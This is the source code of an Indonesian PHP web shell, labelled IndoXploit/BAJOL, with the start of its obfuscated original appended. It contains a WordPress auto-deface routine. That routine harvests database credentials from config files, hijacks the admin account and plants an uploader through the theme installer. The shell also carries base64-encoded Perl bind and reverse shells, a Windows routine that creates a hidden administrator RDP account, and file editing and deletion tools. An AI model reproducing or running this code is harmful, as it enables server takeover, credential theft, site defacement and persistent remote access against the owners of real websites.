function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function lohgin($cek, $web, $userr, $pass, $wp_submit) {
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "$wp_submit",
"redirect_to" => "$web",
"testcookie" => "1",
);
$ch = curl_init($cek);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$scan = $_POST['link_config'];
$link_config = scandir($scan);
$script = htmlspecialchars($_POST['script']);
$user = "global";
$pass = "global";
$passx = md5($pass);
foreach($link_config as $dir_config) {
if(!is_file("$scan/$dir_config")) continue;
$config = file_get_contents("$scan/$dir_config");
if(preg_match("/WordPress/", $config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
} else {
echo "[+] $target <br>";
}
$update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
if(!$conn OR !$db OR !$update) {
echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
mysql_close($conn);
} else {
$site = "$target/wp-login.php";
$site2 = "$target/wp-admin/theme-install.php?upload";
$b1 = anucurl($site2);
$wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
$b = lohgin($site, $site2, $user, $pass, $wp_sub);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
$upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
$www = "m.php";
$fp5 = fopen($www,"w");
fputs($fp5,$upload3);
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
"themezip" => "@$www",
"install-theme-submit" => "Install Now",
);
$ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data3 = curl_exec($ch);
curl_close($ch);
$y = date("Y");
$m = date("m");
$namafile = "id.php";
$fpi = fopen($namafile,"w");
fputs($fpi,$script);
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/k.php";
$bs = anucurl($as);
if(preg_match("#$script#is", $bs)) {
echo "[+] <font color='blue'>berhasil mepes...</font><br>";
echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
} else {
echo "[-] <font color='red'>gagal mepes...</font><br>";
echo "[!!] coba aja manual: <br>";
echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
echo "[+] username: <font color=blue>$user</font><br>";
echo "[+] password: <font color=blue>$pass</font><br><br>";
}
mysql_close($conn);
}
}
}
} else {
echo "<center><h1>WordPress Auto Deface</h1>
<form method='post'>
<input type='text' name='link_config' size='50' height='10' value='$dir'><br>
<input type='text' name='script' height='10' size='50' placeholder='Hacked By BAJOL' required><br>
<input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
</form>
<br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
</center>";
}
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'network') {
echo "<form method='post'>
<u>Bind Port:</u> <br>
PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
<input type='submit' name='sub_bp' value='>>'>
</form>
<form method='post'>
<u>Back Connect:</u> <br>
Server: <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'>
PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
<input type='submit' name='sub_bc' value='>>'>
</form>";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
if(isset($_POST['sub_bp'])) {
$f_bp = fopen("/tmp/bp.pl", "w");
fwrite($f_bp, base64_decode($bind_port_p));
fclose($f_bp);
$port = $_POST['port_bind'];
$out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>".$out."
".exe("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
if(isset($_POST['sub_bc'])) {
$f_bc = fopen("/tmp/bc.pl", "w");
fwrite($f_bc, base64_decode($bind_connect_p));
fclose($f_bc);
$ipbc = $_POST['ip_bc'];
$port = $_POST['port_bc'];
$out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>".$out."
".exe("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'krdp_shell') {
if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
if($_POST['create']) {
$user = htmlspecialchars($_POST['user']);
$pass = htmlspecialchars($_POST['pass']);
if(preg_match("/$user/", exe("net user"))) {
echo "[INFO] -> <font color=red>user <font color=blue>$user</font> sudah ada</font>";
} else {
$add_user = exe("net user $user $pass /add");
$add_groups1 = exe("net localgroup Administrators $user /add");
$add_groups2 = exe("net localgroup Administrator $user /add");
$add_groups3 = exe("net localgroup Administrateur $user /add");
echo "[ RDP ACCOUNT INFO ]<br>
------------------------------<br>
IP: <font color=blue>".$ip."</font><br>
Username: <font color=blue>$user</font><br>
Password: <font color=blue>$pass</font><br>
------------------------------<br><br>
[ STATUS ]<br>
------------------------------<br>
";
if($add_user) {
echo "[add user] -> <font color='blue'>Berhasil</font><br>";
} else {
echo "[add user] -> <font color='red'>Gagal</font><br>";
}
if($add_groups1) {
echo "[add localgroup Administrators] -> <font color='blue'>Berhasil</font><br>";
} elseif($add_groups2) {
echo "[add localgroup Administrator] -> <font color='blue'>Berhasil</font><br>";
} elseif($add_groups3) {
echo "[add localgroup Administrateur] -> <font color='blue'>Berhasil</font><br>";
} else {
echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
}
echo "------------------------------<br>";
}
} elseif($_POST['s_opsi']) {
$user = htmlspecialchars($_POST['r_user']);
if($_POST['opsi'] == '1') {
$cek = exe("net user $user");
echo "Checking username <font color=blue>$user</font> ....... ";
if(preg_match("/$user/", $cek)) {
echo "[ <font color=blue>Sudah ada</font> ]<br>
------------------------------<br><br>
<pre>$cek</pre>";
} else {
echo "[ <font color=red>belum ada</font> ]";
}
} elseif($_POST['opsi'] == '2') {
$cek = exe("net user $user global");
if(preg_match("/$user/", exe("net user"))) {
echo "[change password: <font color=blue>global</font>] -> ";
if($cek) {
echo "<font color=blue>Berhasil</font>";
} else {
echo "<font color=red>Gagal</font>";
}
} else {
echo "[INFO] -> <font color=red>user <font color=blue>$user</font> belum ada</font>";
}
} elseif($_POST['opsi'] == '3') {
$cek = exe("net user $user /DELETE");
if(preg_match("/$user/", exe("net user"))) {
echo "[remove user: <font color=blue>$user</font>] -> ";
if($cek) {
echo "<font color=blue>Berhasil</font>";
} else {
echo "<font color=red>Gagal</font>";
}
} else {
echo "[INFO] -> <font color=red>user <font color=blue>$user</font> belum ada</font>";
}
} else {
//
}
} else {
echo "-- Create RDP --<br>
<form method='post'>
<input type='text' name='user' placeholder='username' value='global' required>
<input type='text' name='pass' placeholder='password' value='global' required>
<input type='submit' name='create' value='>>'>
</form>
-- Option --<br>
<form method='post'>
<input type='text' name='r_user' placeholder='username' required>
<select name='opsi'>
<option value='1'>Cek Username</option>
<option value='2'>Ubah Password</option>
<option value='3'>Hapus Username</option>
</select>
<input type='submit' name='s_opsi' value='>>'>
</form>
";
}
} else {
echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
}
} elseif($_GET['act'] == 'newfile') {
if($_POST['new_save_file']) {
$newfile = htmlspecialchars($_POST['newfile']);
$fopen = fopen($newfile, "a+");
if($fopen) {
$act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
}
echo $act;
echo "<form method='post'>
Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
<input type='submit' name='new_save_file' value='Submit'>
</form>";
} elseif($_GET['act'] == 'newfolder') {
if($_POST['new_save_folder']) {
$new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
if(!mkdir($new_folder)) {
$act = "<font color=red>permission denied</font>";
} else {
$act = "<script>window.location='?dir=".$dir."';</script>";
}
}
echo $act;
echo "<form method='post'>
Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
<input type='submit' name='new_save_folder' value='Submit'>
</form>";
} elseif($_GET['act'] == 'rename_dir') {
if($_POST['dir_rename']) {
$dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
if($dir_rename) {
$act = "<script>window.location='?dir=".dirname($dir)."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
echo "".$act."<br>";
}
echo "<form method='post'>
<input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
<input type='submit' name='dir_rename' value='rename'>
</form>";
} elseif($_GET['act'] == 'delete_dir') {
if(is_dir($dir)) {
if(is_writable($dir)) {
@rmdir($dir);
@exe("rm -rf $dir");
@exe("rmdir /s /q $dir");
$act = "<script>window.location='?dir=".dirname($dir)."';</script>";
} else {
$act = "<font color=red>could not remove ".basename($dir)."</font>";
}
}
echo $act;
} elseif($_GET['act'] == 'view') {
echo "Filename: <font color=green>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
} elseif($_GET['act'] == 'edit') {
if($_POST['save']) {
$save = file_put_contents($_GET['file'], $_POST['src']);
if($save) {
$act = "<font color=lime>Saved!</font>";
} else {
$act = "<font color=red>permission denied</font>";
}
echo "".$act."<br>";
}
echo "Filename: <font color=blue>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
echo "<form method='post'>
<textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
<input type='submit' value='Save' name='save' style='width: 500px;'>
</form>";
} elseif($_GET['act'] == 'rename') {
if($_POST['do_rename']) {
$rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
if($rename) {
$act = "<script>window.location='?dir=".$dir."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
echo "".$act."<br>";
}
echo "Filename: <font color=blue>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
echo "<form method='post'>
<input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
<input type='submit' name='do_rename' value='rename'>
</form>";
} elseif($_GET['act'] == 'delete') {
$delete = unlink($_GET['file']);
if($delete) {
$act = "<script>window.location='?dir=".$dir."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
echo $act;
} else {
if(is_dir($dir) === true) {
if(!is_readable($dir)) {
echo "<font color=lavender>can't open directory. ( not readable )</font>";
} else {
echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<th class="th_home"><center>Name</center></th>
<th class="th_home"><center>Type</center></th>
<th class="th_home"><center>Size</center></th>
<th class="th_home"><center>Last Modified</center></th>
<th class="th_home"><center>Owner/Group</center></th>
<th class="th_home"><center>Permission</center></th>
<th class="th_home"><center>Action</center></th>
</tr>';
$scandir = scandir($dir);
foreach($scandir as $dirx) {
$dtype = filetype("$dir/$dirx");
$dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
if(function_exists('posix_getpwuid')) {
$downer = @posix_getpwuid(fileowner("$dir/$dirx"));
$downer = $downer['name'];
} else {
//$downer = $uid;
$downer = fileowner("$dir/$dirx");
}
if(function_exists('posix_getgrgid')) {
$dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
$dgrp = $dgrp['name'];
} else {
$dgrp = filegroup("$dir/$dirx");
}
if(!is_dir("$dir/$dirx")) continue;
if($dirx === '..') {
$href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
} elseif($dirx === '.') {
$href = "<a href='?dir=$dir'>$dirx</a>";
} else {
$href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
}
if($dirx === '.' || $dirx === '..') {
$act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
} else {
$act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
}
echo "<tr>";
echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg=='>$href</td>";
echo "<td class='td_home'><center>$dtype</center></td>";
echo "<td class='td_home'><center>-</center></th></td>";
echo "<td class='td_home'><center>$dtime</center></td>";
echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
echo "</tr>";
}
}
} else {
echo "<font color=red>can't open directory.</font>";
}
foreach($scandir as $file) {
$ftype = filetype("$dir/$file");
$ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
$size = filesize("$dir/$file")/1024;
$size = round($size,3);
if(function_exists('posix_getpwuid')) {
$fowner = @posix_getpwuid(fileowner("$dir/$file"));
$fowner = $fowner['name'];
} else {
//$downer = $uid;
$fowner = fileowner("$dir/$file");
}
if(function_exists('posix_getgrgid')) {
$fgrp = @posix_getgrgid(filegroup("$dir/$file"));
$fgrp = $fgrp['name'];
} else {
$fgrp = filegroup("$dir/$file");
}
if($size > 1024) {
$size = round($size/1024,2). 'MB';
} else {
$size = $size. 'KB';
}
if(!is_file("$dir/$file")) continue;
echo "<tr>";
echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
echo "<td class='td_home'><center>$ftype</center></td>";
echo "<td class='td_home'><center>$size</center></td>";
echo "<td class='td_home'><center>$ftime</center></td>";
echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
echo "</tr>";
}
echo "</table>";
if(!is_readable($dir)) {
//
} else {
echo "<hr color ='lime'>";
}
echo "<center>Copyright @ ".date("Y")." - IndoXploit Shell recoded by DIR-64</font></a></center>";
}
?>
Did this file decode correctly?
Original Code
<?php
//##############################################
//## BAJOL SHELL ##
//## Password : buajol ##
//## IndoXploit Shell Re-Code By DIR-64 ##
//##############################################
$auth_pass = "8ed5df166c14ae979eddacbd3722e5ca";
$bajol ="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